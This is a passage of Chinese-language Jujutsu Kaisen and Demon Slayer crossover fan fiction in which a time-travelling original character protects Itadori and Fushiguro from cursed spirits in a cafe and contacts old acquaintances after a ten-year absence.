天使:“不要让他听到啦,否则又会说,他是神,没什麽不能做到的。” 庭院里,特意绑起了围成一大圈的立式火炬,火光燎燎,在寒冷的刀刃上映照出暖色。白川琉世手执日轮刀,踩着咯吱作响的厚重的雪,舞起了火之神神乐。 不像几人之前在宫中看过的御神乐,一群人戴着面具,模仿神的姿态,通宵达旦地舞着。 这是真正的神乐舞啊。 点点火光在几人瞳孔中跃动,后山似乎有钟声响起,菅原行平才想起,那是家里驱邪的钟声撞响了。 今夜,并不是所有人都去了后山,一些族人不知何时站在了院子门口,冒着风雪,怔怔地看着火光中的神舞。 咚…… 钟声要由家主敲满108下,意为驱除烦恼、驱灾辟邪,五条家每年除夕之夜都会进行这个活动,已经维持了至少千年。 要他说,根本没什麽必要,大晚上谁要像傻子一样站在雪地里。 五条悟穿着黑色的纹付羽织袴,脖子上少见地围了条围巾,布料很柔软,但紧紧贴在脖子上的感觉并不舒服。怎麽都拗不过觉得他冷的侍女,已经28岁的现任五条家家主,还是被当做小孩一样强行添衣。 今天是正式的日子,所以没有带眼罩,偶尔这样也无所谓。他的脸颊因为寒冷泛红,显出健康的血色,呼吸间呵出的雾气,隐隐有润唇膏的香味。 雪花和寒风被阻挡在无下限外,五条悟站在敲钟的地方,抬起手臂又敲下一声。这口钟本来不是在这的,他记得,小时候被老爹领着敲钟的时候,还是在神社对面呢,后来被老爹移到供奉琉世的神社里了。 就在鸟居和本殿之间,另设了两道门槛,祈福之钟从此就在这安家了。 通过靠内的那道门槛,就是本殿,里面供奉着一座漆黑的神龛。小时候,五条悟被父亲牵着手,特意来这里上过香,求过签。 这里并不是一直有人祭拜的,据说黄泉津不喜欢被打扰,家里只是安排族人定时清理打扫。但八岁以后,每年除夕敲完钟,老爹都会让他单独进去祭拜,求签。 每年都是大吉。 无一例外。 他漫不经心地又敲下一声,古朴的神社中,众多穿着整肃的五条家人站在靠外的门槛外,排成长队,安静地等待钟声全部敲完。 为首的就是他那甩手不干的前任家主老爹,眉毛和胡子全被雪糊满了。 说起来……,他在无下限里,就好像完全和雪景玻璃球相反了。五条悟又敲下一声,108下实在太漫长了,他那颗聪明的大脑到处发散思维。 过完年,很快就要开学了,秤那家夥越来越难管教了,听说又要蛊惑绮罗罗一起退学,那可是二年级唯二的两个人,他一定不允许这种事发生。昨天出差买回来的慕斯蛋糕忘了吃,去哪了?被侍女放冰箱了吗?上次感觉好用的润唇膏放到哪里了,落在琉世那儿了吗?现在用的这个味道他不喜欢,再买一支好了。 “悟!” 老爹压抑着怒气的喊声响起,五条悟停住动作,回头望去。 “哈?” “已经敲够数目了,下次你也该自己数着了吧!” 五条悟微微拉开围巾,给自己的皮肤一点喘息空间,拉长了音调懒洋洋地抱怨着,“啰嗦,下次你自己敲也没关系,老爹。” 第43章 现代篇再度开启 “欢迎光临,请问您几位。” “两位吗?我们这里正举行新年特惠活动,情侣第二杯半价哦。” 有着巨大落地窗和玻璃门的咖啡店,处在繁华街道的拐角,因为新年的缘故,店里挂着很多红色的装饰品,气氛非常温馨。 玻璃门每被打开一次,就发出叮铃的声响,每响一下,虎杖悠仁都忍不住望去,但是他等的那个人一直没来。 新年第二天都有这麽多客人,好像是很有名的店铺啊。 桌上的咖啡已经凉了,不过他也不爱喝这个,就放着没动。相约的店铺是对方定的,没必要在这件事上提出更改意见,反正来也并不是为了喝东西。 打开手机看了一眼,已经下午3点了。这可不妙啊,再晚一会,就没办法准时送爷爷去医院了。 最近爷爷的身体忽然差了起来,每天都要定时去医院打针。虎杖悠仁尽管生性乐观,却也免不了生出隐约的担忧,旁敲侧击询问医生爷爷的身体状况。 “你家大人呢?虎杖同学。” 一开始,医生并不打算把诊断结果告诉已经步入老年的病人本身,还有他明显未成年,看样子国中还没毕业的孙子。 “如果说我爸爸妈妈的话,已经去世了,家里也没有其他大人。没关系医生,直接告诉我吧。” 医生犹豫一下,只能轻声告诉他,“是肺癌,很抱歉虎杖,需要医院帮你联系社区的福祉协议会吗?” “不用啦,我自己能照顾好爷爷。” 那个樱粉色头发的少年,没有表现出不堪承受的样子,笑容特别温暖人心,每次来都很有精神,医生记得护士小姐也经常提起到他。 很惹人喜欢的性格啊。 虎杖悠仁又一次打开line,昵称为伏黑惠的好友,头像是两只手绘的小狗,一黑一白,非常可爱。点开聊天框,最近的消息是30分钟前。 [很抱歉虎杖,跟你说的五条老师,临时有急事出差,不能和你见面了。不过,五条老师委托我和你谈入学的事,我正在往那赶。] [好,我已经到了,在靠窗的那一排位置。] 回复的消息显示已读,依伏黑严谨的性格,一定很卖力地往这赶了。昨晚伏黑给他推了那位五条老师的好友,他加上了,但对方好像很忙,一直没回加他。 就连目前的地址也是伏黑发给他的。 所以这个什麽东京都立咒术高等专门学校,竟然是真实存在的! 这也难怪吧,毕竟都有那样的怪物了,如果不是昨天在医院亲眼所见名为“咒灵”的怪物,虎杖悠仁很难这麽快消化掉自己打算春天入学宗教学校这件事。 昨天,他如往常一样陪着爷爷去医院,意外撞见被咒灵逼至天台的伏黑惠。据伏黑所说,他是来回收什麽宿傩的手指的,没想到意外遇到了一级咒灵,咒灵的强度是他目前所不能处理的。 两人惊险地躲避,直到虎杖意外听伏黑说,吃掉宿傩的手指,有可能获得与咒灵对抗的力量,于是头脑一热—— 伏黑说的是真的,吃掉手指后,他确实感觉身体充盈了不可思议的力量,一拳就把咒灵打爆了。但是,伏黑的表情好像他舔过垃圾桶一样,虽然那东西卖相很差,但也不至于这麽看他吧! 总之,他吃掉的东西好像是很不得了的违禁物品,吃掉之后,他也能看到咒灵了。伏黑说那位五条老师建议他入学咒术高专,这次本来就是要来和他谈这件事的。 他往上划着屏幕,翻看和伏黑的聊天记录。 [你吃掉的是特级咒物——两面宿傩的手指,总监部怀疑宿傩有利用你的身体受肉的可能,想要把你处死。] 虎杖悠仁当时真心实意地回了一句。 [啊???] 不是,总监部是什麽地方啊,怎麽还能绕过法律判他死刑。 [不过五条老师保下你了,要求是要你入学咒术高专。] 虽然不知道具体是什麽情况,但见见那位五条老师也未尝不可,虎杖当时是这麽想的。 一定是个大好人吧,会替没见过的人说话。 他合上手机,继续发呆。等了好久,咖啡都凉透了,有点不好意思坐下去了,要不要点个蛋糕?这家的甜点好像也很受欢迎。 叮铃—— 虎杖悠仁抬头向门口看去。 不是那个海胆头的少年,虎杖刚要把头低下,忽然被眼前的景象震惊到表情失控。 啊?啊?真的假的?那是……咒灵吗? 一个身材矮小,只有一个大大的眼睛,脑袋好像迷你火山的怪物,和一个蓝色长发,颇具人形,但仔细一看满脸缝合线的少年,在进店的顾客身后,也没事人一样进来了。 是咒灵吧?其他人都看不到吗? 虎杖悠仁快速地扫视了四周,店里很热闹,两只咒灵招摇过市,没一个人对他们表示出惊讶。 诶?和他对视上了,走过来了? 走过来就算了,为什麽坐在他桌子对面了? “宿傩,别藏着掖着了,醒了就出来见见太阳吧。”那个火山头咒灵坐下来,眨着诡异的大眼这麽说着。 咒灵会说话—— 虎杖悠仁在脑内尖叫。 会说话的话,那和人有什麽区别?难道咒灵不都是那种相貌丑陋,只会吃人的怪物吗? 相貌丑陋这点倒是符合。 “哎呀哎呀,这是什麽眼神。”缝合线咒灵站起来,俯身贴近虎杖悠仁,“好像对我们很有意见的样子啊。” 虎杖悠仁看着凑得极近的咒灵,扑面而来的阴冷和黏腻令他泛起恶心,不仅如此,咒灵一瞬间爆发的恶意,令他的理智拉响了警报。 这是比昨天要危险得多的咒灵,现在的他,完全没办法解决。 “你们找我有什麽事?”虎杖僵硬后仰,冷静冷静,对方既然想交流,就不会马上有生命危险。 “不对啦不对,要宿傩出来,我们找的是宿傩哦。”缝合线咒灵伸出一根手指在虎杖面前摇晃,刻意拉长了调子,“宿傩~,宿傩~,快出来啊宿傩。喂,漏瑚,宿傩真的受肉了吗?” “别吵,真人。”漏瑚好像在观察,紧紧盯着虎杖,“我们就是来确认这件事的。” 是容器压制住宿傩了吗?那麽,只要让容器有生命危险就行了,宿傩不会眼睁睁看着好不容易得来的□□损坏的。 哼哼。漏瑚轻蔑一笑,打了个响指。 “哇啊!” 火焰忽然冒出来了!虎杖悠仁站起来大叫,他的整个上半身燃起高耸的火焰,包括面部和双手也包裹进去。与此同时,虎杖看到在座的所有顾客,脚步匆忙的服务员和微笑着的收银小姐,身上全都着了很大的火! 整个咖啡馆笼罩在一片火海……中? 诶? 没有热度,没有痛觉?衣服和皮肤也没有被烧到任何一点,跳动的橙红色火焰仿佛特效,没有对他造成任何伤害。 不仅如此,周围的人也都没有受伤,每个人都自然地做着自己的事,唯一的反常就是因为虎杖“无故”大叫,纷纷把目光投向他。 他们看不到自己身上的火焰吗? 同样的问题真人也不可思议地问漏瑚,“你在搞什麽新创意吗,漏瑚?” 漏瑚:…… “我哪里知道?” 他站起来,又打了个响指,虎杖悠仁看到自己身上的火焰又旺盛了,但什麽也感觉不到。 是幻觉吗?这个火山头咒灵到底在做什麽啊? 难道眼前的一切,包括这两个咒灵,都是他臆想出来的?宿傩的手指最大的危害,其实是像某些蘑菇一样令人致幻? 那个疑似幻觉的火山头好像生气了,头顶喷出几道蒸汽,开始疯狂打响指,每个人身上的火焰,也随着响指的声音一跳一跳的,逐渐加大火力。 “虎杖!” 一道焦急的声音响起,玻璃门被猛地推开,发出一声响亮的叮铃,两只大狗冲了进来,一只一个试图攻击两个咒灵。 “伏黑?” 热闹的咖啡馆里不知什麽时候已鸦雀无声,每个人都看着虎杖和伏黑,带着茫然和疑惑,熟不知在两个少年眼里,他们身上冒着火焰的样子更为可怖。 正在气头上的漏瑚干脆地给伏黑和玉犬也点了火。 伏黑下意识后退一步,伸出手臂做出遮挡的姿势,马上就 发现自己身体上的火焰毫无危害,看了眼同样冒火的虎杖,他把手放下,愣在原地。 什麽情况?这种恐怖的压力,是特级咒灵吧?还是两只一起。为什麽他们的攻击不奏效?是因为虎杖的原因吗?但是虎杖看起来也像没有头绪的样子。 啊,不过,他和虎杖在这里大喊大叫的……眼神掠过惊疑不定看着他和虎杖的顾客们,伏黑忽然尴尬住了,一种强烈的社死感涌上心头。 “啊?漏瑚你到底在玩什麽啊?”真人不满地一拍桌子,“磨磨蹭蹭的,宿傩什麽的,让我试探一下不就好了?现在再怎麽说,也不过只有一根手指的力量吧?” 浅蓝色头发的咒灵,带着愉悦的笑容,摇晃着手掌靠近虎杖悠仁。 “好啦好啦,很快就好了,把你变成什麽形状呢?” 如果是宿傩的话,肯定会反抗吧。不反抗的话,可是只能变成充满创意的样子,并且再也变不回去了哦。 以后再也不能作为人类生活在世界上呢。 看着虎杖悠仁纯真的眼眸,真人满怀恶意地,轻柔地把手掌粘贴去。 “无为转变。” 第44章 你坐呀虎杖,你也坐伏黑 满脸晃动的火焰影响了视线,虎杖悠仁并不打算坐以待毙,感觉很危险,要躲开的吧,他站起来,猛地后仰—— 肩膀被结结实实拍住了。 眼前蓝发咒灵骤然放大的脸,和伏黑奔跑过来的声音,都渺小起来。 咒灵的手贴在了虎杖悠仁的胸口。那是湿冷、黏腻的触感,带着尖刻的恶意,非常恶心,好像下水道的陈年青苔被糊在了胸口上。 真人的脸依旧离他很近,远超安全距离,依旧带着愉悦又危险的微笑,一动不动地注视着他,匆忙跑到桌子边的伏黑,猛地停住脚步,大口喘息的声音也停住了。 胸口……肩膀?诶?肩膀上那只手的触感是? 那是和咒灵不同的温热的手,甚至带了点滚烫,显示来人体温较高。是站在他身后吗?什麽时候? 火焰消失了,伏黑和店里的顾客也都恢复了正常的样子,此刻所有人的目光都集中在他身上。虎杖没心情理会这点,几秒过去了,真人依旧一动不动,唯一变化的,就是眼中的神色化为了深深的恐惧。 两只手搭在他身上,虎杖悠仁后知后觉地绷紧了身体。 现在更让他紧张的,变成了身后那只手的主人。 “别紧张,虎杖。”一道低沉悦耳的嗓音在头顶响起,那只手安抚意味地又拍了他两下,“坐下吧。” 虎杖鬼使神差地平静了下来,不过真人的手伸得很长,横过桌子,直达他的座位,他根本没办法坐下。 后面的男人似乎也明白这点,一道黑色的锁链撕裂空气,不知从哪冒出来,轻柔地把静止不动的真人慢慢捆住,往后一扯。 手掌滚烫的男人又示意般的压了压他的肩膀,虎杖顺势坐下,那只手又移到他的头顶,轻轻揉了两下。 诶? 完全不知道这是什麽情况啊!为什麽要摸他的头?要回头吗?两个咒灵好像都被什麽东西控制住了一样,在那玩一二三木头人,是表明没有危险了吧。 伏黑站在他对面,那个视角正好能和站在他身后的男人面对面,海胆头少年的表情复杂,疑惑又警惕地看着锁链的主人。 是伏黑不认识的人吗?不是咒术界的?那为什麽知道他的名字是虎杖呢。 锁链干脆地把两个咒灵捆成一团,丢进了空中撕裂的黑洞中,然后裂缝愈合,那儿像什麽也没发生过一样,只有面面相觑的两个少年交换着眼神。 桌子是四人座,陌生的男人拉开虎杖身边的椅子坐下。 “你也坐,伏黑。” “抱歉,我们认识吗?请问您是?”伏黑没有坐下,两只玉犬护卫在脚边,警惕地压低身体。 那个男人很高,这是虎杖转头观察时得到的第一个信息,至少有190公分。不过,与沉稳的声音不符的是,意外地穿着很酷的黑色外套、牛仔裤和运动鞋,大冷的天穿得像刚入秋一样。黑色的长发散在两颊,长度过肩,眉眼冷峻,是非常正统的冷酷系帅哥,脸颊两边竟然纹着金色的纹身。 是什麽人?年纪看起来比他大四五岁,但气质不像学生。咒术师吗?可能是,也可能不是,因为伏黑不认识他。这麽说来,这个身高可能是做模特的。不不,模特不能在脸上纹身吧。 诶?是搞乐队的吗?极道成员?赛车手?虎杖开始胡思乱想,大概就是这些吧,能微妙地体会到那个男人和普通人格格不入的感觉。 不过真的超强啊,那两个咒灵气势相当恐怖,随便就被他打包捆走了。 “啊,对了,”虎杖被伏黑的声音提醒,也问道,“你是怎麽知道我的名字的?我们也不认识吧。” 感觉马上质问刚刚帮助自己的人有些失礼,虎杖忙掩饰般的大笑起来,“啊,哈哈哈,刚才谢谢你帮忙啦。” “先坐下吧伏黑。”白川琉世拿起桌上立着的菜单,“要大家都看着你说话吗?” 伏黑环顾四周,确实,店铺里的人把他们三人当新年的第一桩谈资,一边喝咖啡、吃甜品,一边不时把眼光投向这边来。 “他们在搞什麽啊,大喊大叫的。” “幼稚的国中生小鬼在中二吧。” “或者搞什麽行为艺术,你看那个男人脸上竟然有纹身,一定是混极道的吧。” “都知道是极道的了你还看,不要对上视线,小心啊!” “可是他真的很帅啊!” 邻桌的两个年轻女孩在小声交谈,察觉到自己声音太大,马上压低了嗓音。白川琉世看到伏黑坐在了对面,没有着急回答两人的对话,而是研究起了那份精致的菜单。 很高级的一本菜单,内页塑封,里面有色彩明艳的图片和花里胡哨的艺术字,不仅如此,透明的大片玻璃、咖啡的香气、收银台吐出发票的滋滋声,都让昨天还在平安时代的白川琉世感到陌生。 连他现在穿的这身衣服也是。 昨天下午感觉宿傩手指中存储的刻印被激活,白川琉世终于踏入正确的时空。避免穿着狩衣被路人围观,第一时间就移动回了家里,那座空置了十年的紫藤花屋。 翻出家里之前淘汰下的旧手机,那在2007年就已经是老旧的版本,现在更是砸核桃都嫌硬的老古董。没办法,他失踪时用的手机早就丢了。 打开备用储电机,白川琉世给手机充上电,所幸老年机最基本的功能还能使用,一阵刺眼的白光闪过,手机屏幕显示时间为2018年1月1日16:12。 现在是2018年的新年。 十年,说得准确一点,是十年多几个月。 在平安京时代,他用不到两年的时间杀死宿傩,但选用了宿傩的手指作为穿越回来的锚点,就注定虎杖什麽时候吃手指,他就什麽时候能回来。 就连白川琉世也不能确定具体的日期,原来的“未来”已经被大幅度更改,参考意义不大。 可以肯定的是,羂索在不能更换身体的情况下,无论使用何种手段保存现在使用的身体,最多也只能维持几十年的时间,是破釜沉舟在身体崩溃之前加速他的计划,还是忍辱负重继续躲藏,利用仅剩的几十年时间,查找可能不会有的延长身体的方法,白川琉世不认为羂索会选择后者。 那个谨慎的人,骨子里比谁都疯狂,在拥有后路,局势掌控在自己手里时,可以无限蛰伏,一旦没有退路,只会选择把底牌一股脑投入牌局。 虎杖悠仁的受肉时间提前了半年,已经是他急不可耐的结果了。 青少年一般从13岁进入快速生长的模式,14、15岁左右具备和成年人相差不大的战斗能力,给宿傩准备的身体,不能从儿童时就开始受肉,那样会大幅度削减诅咒之王的战斗能力,再等几年,等虎杖的身体发育的更成熟,羂索也绝没有那个耐心。 也差不多是这个年份,很难再早了。 白川琉世被屋子里弥漫的灰尘呛得皱眉,推开了窗户,让山间凉爽的空气流通进室内。 紫藤花屋是创建在半山腰的山间住宅,并不是独门独栋的小房子,而是由许多房间组成的建筑群,比起菅原家迁居后的规模,小了很多,但容纳百来人居住没什麽问题。 这里并不是单纯的住宅,而是产屋敷家之前用来救治受伤的鬼杀队队员的医疗屋,里面除了一些住宅用房间,还有病房、训练区、厨房和花园,功能齐全。鬼王被消灭后,产屋敷家着重经营企业,赚了很多钱,这座山里的别院并不适合居住,就无限期闲置了。 现在,他是这座别院暂时的主人。 当时想着到底是别人的房子,只在工作人员宿舍随便找了一间住下了,从六岁住到十六岁,现在房间里还有他的东西。 白川琉世一边用手机快速登入邮箱,一边审视自己曾经的屋子。作为单人宿舍,房间并不小,面积大概20平,普通的单人床,没什麽好说的,拉开衣柜,里面的东西似乎也没有变化,书桌上一些书籍杂乱地摆放着,正要拉开抽屉,白川琉世忽然发现桌子上放着一张便利贴的纸条。 [琉世,回来了要联系妈妈啊。不管发生什麽事,都可以联系我,看到了一定要联系我啊!] 白川琉世把手机轻轻放下。 便利贴背后的胶片早就不粘了,那块白色的纸片被拿在手里,拂去上面的灰尘。 时光在他这里只走了不到两年,在其他人那里却是十年。 普通人的人生有几个十年呢?羂索。 他放下便利贴,继续翻找抽屉和书柜,大多数东西还在,一些私人物品,比如游戏机、卡带、读书笔记、几本最常翻的漫画不见了。 手机充了会电,白川琉世从通信录找出一个号码来,按下拨打键。 嗯?停机了?啊对,手机好久没交话费了,不能打电话,他差点忘记了。 还好房间里有一些现金,他到山下买了电话卡和食物、日用品回来。现在赶路倒是挺方便的,一个小时就把事办妥了。 把手肘抵在窗沿上,上半身探出窗外,白川琉世深吸了一口山间的寒风,拨出一个电话。 新年第一天,应该没有要忙的事吧。 耐心地等待铃声响起,三声、四声…… 电话接通了,一道冷淡的少年音响起。 “喂,您是?” 第45章 空落落的邮件 “您好,愈史郎先生。” “你是……?” “我是白川琉世,您还记得我吗?” 愈史郎先生和他的猫茶茶丸,是世界上唯二的两只鬼,这点白川琉世小时候就知道。 不仅如此,愈史郎还是白川绊子的老板,一位很有名的画家。第一次见到那个眉眼精致的紫色眼睛少年时,白川琉世还是个孩子,很有礼貌地叫了他声哥哥。 绊子哈哈大笑,说辈分差太多了。 从此之后,白川琉世就只叫愈史郎先生了。 “琉世?真的是琉世吗?”愈史郎总是平淡的口吻少见地激动起来,“你在哪?你还好吗?” “很好,劳您挂念,愈史郎先生。我妈妈她……?” “绊子去产屋敷家恭贺新年了,你……” “嗯,我还没给她打电话呢,还没想好怎麽说。” 两人都沉默了几秒。 愈史郎先开口,“没关系,如果你有什麽难言之隐,我不会问的。” 白川琉世颇为开朗地笑了几声,“没什麽难言之隐,就是想让您替我向她说一声,我没事,还好好活着呢,最近不方便亲自去见她,等麻烦事都解决了再说吧。” 见倒是可以见的,只是他脸上的斑纹,对鬼杀队的后人绊子来说不是秘密,她一定会认为他活不过25岁。 就像他早早去世的祖先和竈门炭治郎先生一样。 一定会非常担心的。那样的话还不如只知道他活着的消息,至于斑纹的事怎麽解释,容他再想想。 谁也没办法对自己的妈妈说,我是神,所以没关系这种话吧?谁能?神目前也做不到啊。 “我会告诉她的。”愈史郎也笑了,“今年第一天就有好事发生啊。” “最近可能不太平,能麻烦您告诉我妈妈,让她待在您那不要出门吗?您也要注意安全啊。” 愈史郎的血鬼术隐蔽能力极强,当初鬼王都无法勘破他的“目隐”。 如果要说安全,防咒灵高专是比较安全,防仇家还要看愈史郎了。 “放心吧,这些年我都很小心,绊子一直住在我这里,我们经常换住址,画展也没公开举办过了。”愈史郎语气温和,“我记得你有个朋友叫五条吧?是咒术界的人。十年前打过电话给产屋敷家,对绊子的安危很关心呢,也是从这之后,我就对绊子的安全格外上心。” “五条?悟?” “好像是这个名字。” 冬天很冷,白川琉世刚刚换上的是夏天的短袖,十分单薄,但手臂、脸颊乃至胸膛都冒出滚烫的热度。 “确实是我的朋友。” “放心吧,琉世,绊子是我看着长大的孩子,我会照顾她的。” “谢谢您,愈史郎先生。” 挂了电话,白川琉世任由寒风吹拂面颊,吹散了些热度。心脏难耐、焦急地跳动,太过渴望,太过急迫,对可以随时见到五条悟这件事,反而有种望之生怯的感觉。 杀死宿傩后,其实没有很担心悟。只凭羂索,最多也只能把悟封印起来。狱门疆那玩意,现在算不上威胁。 毕竟是最强啊。 对吧,悟。 手机终于登入邮箱了,白川琉世在等待加载的时候,才发现自己一直是微笑着的,那也难怪,想起悟就心情好的不得了。邮件列表展开,消息惊人的多,除了垃圾邮件,绊子、竈门叔叔他们和高专的大家都发过来好多消息。 …… 但悟没有。 属于悟的那栏,空落落的,没有新消息提示。 …… “我是五条悟的朋友。” 虎杖悠仁把目光转向伏黑,五条悟应该就是“五条老师”吧,他并不认识那个人。 伏黑没有马上放松戒备,开什麽玩笑,刚才那两个咒灵一定是特级,如此轻松就制服了两个特级咒灵,这个男人至少也有特级咒术师的实力。 特级咒术师,包括诅咒师在内,目前只有五条悟、九十九由基和夏油杰,还有一个从特级上下来,估计很快就能恢复实力的乙骨忧太。 这个人不是夏油杰吧?年龄对不上。 与其说他是五条悟的朋友令人疑惑,不如说哪里凭空冒出来实力这麽恐怖的家夥。 “抱歉,是五条老师让你来帮虎杖的吗?如果有聊天或通话记录可以让我们看下的话……” 伏黑惠委婉地表达了自己的不信任。 “伏黑,如果我是坏人,被你这麽追问,恼羞成怒,然后用锁链把你捆住送小黑屋怎麽办?” 面前的男人没有丝毫慌乱,头也不抬,很认真地翻着菜单。 伏黑后知后觉地涌上一股疏漏感,这个男人说的没错…… 白川琉世:“大脑告诉你要警惕,但本能上,你的问题是在缺省了我是好人的基础上问出的。” 伏黑沉默,在心底认可了男人的话。 “不会的,他可是帮了我们,而且我看人很准,他肯定不是坏人啦。”虎杖身子快要探到伏黑那边去了,动作极大地说着悄悄话,然后对白川琉世露出开朗的笑容,“你要喝点什麽,我请你,当做答谢。” 这个更是一点戒心都没有。 要是真让宿傩受肉了,以双方的性格,马上就会被欺负成破破烂烂的样子。 宿傩的手指现在承载的只有咒力,没有灵魂,所以虎杖只是接受了咒力,不会被受肉。 吃下手指的第一时间,虎杖悠仁没有出现受肉的迹象,羂索肯定会派人来探查。 白川琉世就是根据虎杖体内手指的刻印找到他的。 “那我就不客气了,零花钱够吗?”他把菜单递给伏黑,眼神投向不远处的店员,本身就犹豫要不要来招呼这奇怪一桌客人,而踌躇在原地的店员,得到信号马上挂上微笑走过来。 “请问您要点什麽呢?” “拿铁吧。” “嗯,够的,家里买东西的钱都是我管着啦。”虎杖为对方接受他的请客感到高兴,“伏黑要点什麽,也算我请吧。” “不用了,我自己付。”伏黑匆匆扫了眼菜单,没什麽感兴趣的,也随便点了拿铁应付。在这种店里谈话,自己不点东西反而有点奇怪。 虎杖悠仁不再坚持,等店员离开,他小声问白川琉世,“刚才那两个是咒灵吧?他们是怎麽回事,那些火焰是我的幻觉吗?” “不是幻觉,”白川琉世只回答了最后一个问题,“我用结界把人与火焰接触的地方隔开了。” “结界?” 两人异口同声。 虎杖:“那是咒术师的能力吗?如果上了咒高,我能学到吗?” 伏黑:“那怎麽可能是结界,结界怎麽能做到这种程度?那两个是特级咒灵吧?” 虎杖:“那个蓝头发咒灵刚才想做什麽?是不是你……嗯?还不知道怎麽称呼你呢?” “名字不方便说,下次再告诉你们吧。” 虎杖看到男人露出笑容,奇怪的是,明明男人的脸给人坚硬的冰一样锋利的感觉,笑起来的时候却明快又爽朗。 这个人肯定不是坏人,虎杖加深了自己的判断。 “那个缝合线啊,想搞拙劣的小把戏。”真是太可笑了,在他面前对别人的灵魂做手脚,白川琉世宣布这是2018年他遇到的最荒谬的事,“我把他们两个的灵魂固定住,所以身体也一样不能动了。” 伏黑:…… 什麽?什麽啊?那个男人在说什麽让人难以理解的话,怎麽会有比五条老师说话还嚣张的人? 这是伏黑的第一反应,但是,刚刚那两个咒灵在对方手里柔弱的像小猫一样,这也确实是他看到的事实。 咒术师进化什麽时候不带上他了? 虎杖没有太多实感,只是夸张地称赞那个男人非常厉害,好像把那人当成了咒术界的人,问了一些关于咒术师的乱七八糟的事。那人只是随口应着,没说出什麽有价值的回答,语气敷衍,态度却相当重视,盯着虎杖的脸,眼带笑意,认真听他说话,就好像……伏黑忽然想出一个贴切的比喻,好像大人在听喜爱的孩子胡言乱语,对内容实在不感兴趣,却不想让孩子感受到冷落。 明明比他们没大几岁的样子,这种莫名其妙的长辈态度到底是哪里来的啊。 “所以你的目的到底是什麽呢?”寻了个合适的空档,放下一半戒心的伏黑还是选择了直接问。 “来救虎杖,和可能顺便被烧成灰的你。” “虎杖不认识你吧,为什麽想要救他?真的是五条老师拜托过你吗?如果是这样,为什麽不直接说?” 白川琉世沉默了一下,之前他嫌烦的问题从来不理,也没人敢追问他。 但到底是悟给予期待的孩子。 伏黑看到那个男人面对虎杖的神情转移到了他身上。 “如果能联系到我,肯定会拜托我,悟这家夥看起来没交到新朋友啊。”男人一改冷淡的语调,似真似假地抱怨了起来,“他那样的性格也难怪,很少有人能看得到他的闪光点,搞不好一边任劳任怨地付出,一边被人抱怨轻浮任性,爱捉弄人。” 伏黑怔忪地轻轻“诶?”了一声。意想不到的回答,这种熟稔的口气……,所以真的是五条老师的朋友吗? 为了五条老师保护虎杖?五条老师是比较看重虎杖没错,但两人还没见过面啊,以后虎杖是不是入学高专也还不一定呢。 这人怎麽都透露出一股怪怪的感觉。伏黑神情一凛,一个不可思议的想法闪电般划过脑海—— 这个人该不会是传说中五条悟的激推吧。 真的有这种人吗? 第46章 失格热血男高、给喜欢的人赔罪 “悟可是很看中你的,惠。” “诶?” 伏黑不禁为对方那声“惠”讶然。 还不认识的人,忽然叫他的名而不是姓,实在太奇怪了。 白川琉世没再说什麽,他想起姐妹校交流会那晚的谈话,18岁的五条悟兴冲冲地向他谈及“惠”的事。悟那样的人兴趣有很多,游戏漫画电影甜点歌星,像喧闹的风刮过流行和热闹,贪心地什麽也想品尝,什麽也想体验,总是没个长性。 所以,悟的关注不稀罕,长久的倾注才令人惊讶。那样耐心的倾注,像半个长辈、半个朋友那样参与伏黑惠的成长,说一声看中并不夸张。 培养聪明强大的同伴,让更多能追上自己脚步的同伴,创造更好的局面。 18岁的五条悟这麽说了,28岁的时候也依然这麽做着。 啊,这可真是…… “没有吧,如果被抱怨,五条老师也会骂回去。”伏黑惠在心底思考对面男人的话,五条老师并不像那个男人说的好像很可怜的样子,他发起疯来谁也不敢惹啊。 对面的男人笑出了声,很愉悦的样子,“所以,还对我有所怀疑吗?” 伏黑和虎杖对上了视线,虎杖的眼神亮晶晶的,一脸对男人的维护,他心累地叹了口气,“如果真的心怀不轨,大概不会和我们谈这些吧。” …… 悟本身就没有“善行得到回报”的欲望。 只是看着自己培养出来的花朵变成强大聪明的同伴,就能感到满足。 此时此刻,白川琉世忽然更确切地体会到了这点。 …… 喝完咖啡后,他拍了拍伏黑的肩膀,告诉他们不用担心自己的安危,正打算离开时,犹豫了一下,对两人说,“我的事先不要告诉悟,这两天我会去找他。” 伏黑一脸凝重,看样子并不打算听这个陌生人的话。不过,黑发的男人随即低声说了两句话。 “啊?!” 两个少年齐齐震惊出声。 海胆头少年难以置信地瞪大眼睛,粉发的那个倒是一脸兴奋。 “嘘。”白川琉世竖起手指抵在唇边,“保密,这个要求总不过分吧。” …… 叮铃。 乙骨忧太听到声音抬头。 这家温泉旅馆在廊下放了风铃呢,寒风呼啸中,隐约传来清脆的铃音。 位于北海道偏僻地带的温泉旅馆,是他和五条老师此次的任务地点。本次任务目标为特级,以他现在的水准,还没办法稳定祓除特级咒灵,因此五条老师一并跟了过来。 这家旅馆占地极大,好像很有名气,如果不是最近出了事,应该很难预约。五条老师财大气粗,包下了其中一个小庭院,包括几间住宿房间和庭院里露天的温泉。 “忧太,忧太。”半垂下的布帘外,五条老师的声音传来,“快来泡温泉忧太,咒灵又不会跑掉。” “等下五条老师,我有点事啦。”乙骨忧太坐在室内的桌子前,对外面露出歉意的微笑。 从布帘外望出去,温泉蒸腾的白色雾气飘飘袅袅,笼罩在空中,隐约可见莹白的肩背露出,泡温泉的人一条修长的手臂搭在造景的石头上,另一只手哗啦一声,掬起一捧水花。 比起泡温泉,还有更重要的事。 乙骨低头看向手机屏幕,利用论坛中的私信功能解释现在的人很多都用line,而不是发邮件沟通了。 [我下好line了。] [然后你加我好友,这样我们聊天方便些,我的账号是……] 等待对方操作的间隙,他无意识地点进那人的头像。 从东京到北海道的路程非常遥远,乙骨忧太为了打发坐车的时间,点进了经常逛的论坛。那个论坛曾经非常火爆,大约七八年前没落了,但乙骨喜欢这种带有时代气息的感觉。 [New!有人知道这是哪家店的蛋糕吗?] [楼主:照片是2007年夏末拍的,地点是北海道。] 二楼就插了张图,方形的透明塑料包装盒被一只手提着,背景是街景,盒子里装着一块草莓奶油蛋糕。红色的绑带系成蝴蝶结,金色的细绳从绑带的结扣中伸出,垂下一小片白色的卡片。 乙骨扫了一眼,没多注意,对底下的回复内容更感兴趣,手指往下滑。 [3L:不清楚,但是给你增加点热度吧。] [4L:这种奶油蛋糕到处都是吧?] [5L:对啊,这种奶油蛋糕到处都是,为什麽要买一模一样的?] [6L:北海道很大啊,不能再具体一点吗?] [7L:我家是北海道的,没见过这地方。] [回复4L:在当时是限定的。] [回复5L:给喜欢的人赔罪。] 诶?! 乙骨忧太精神一振,很感兴趣。 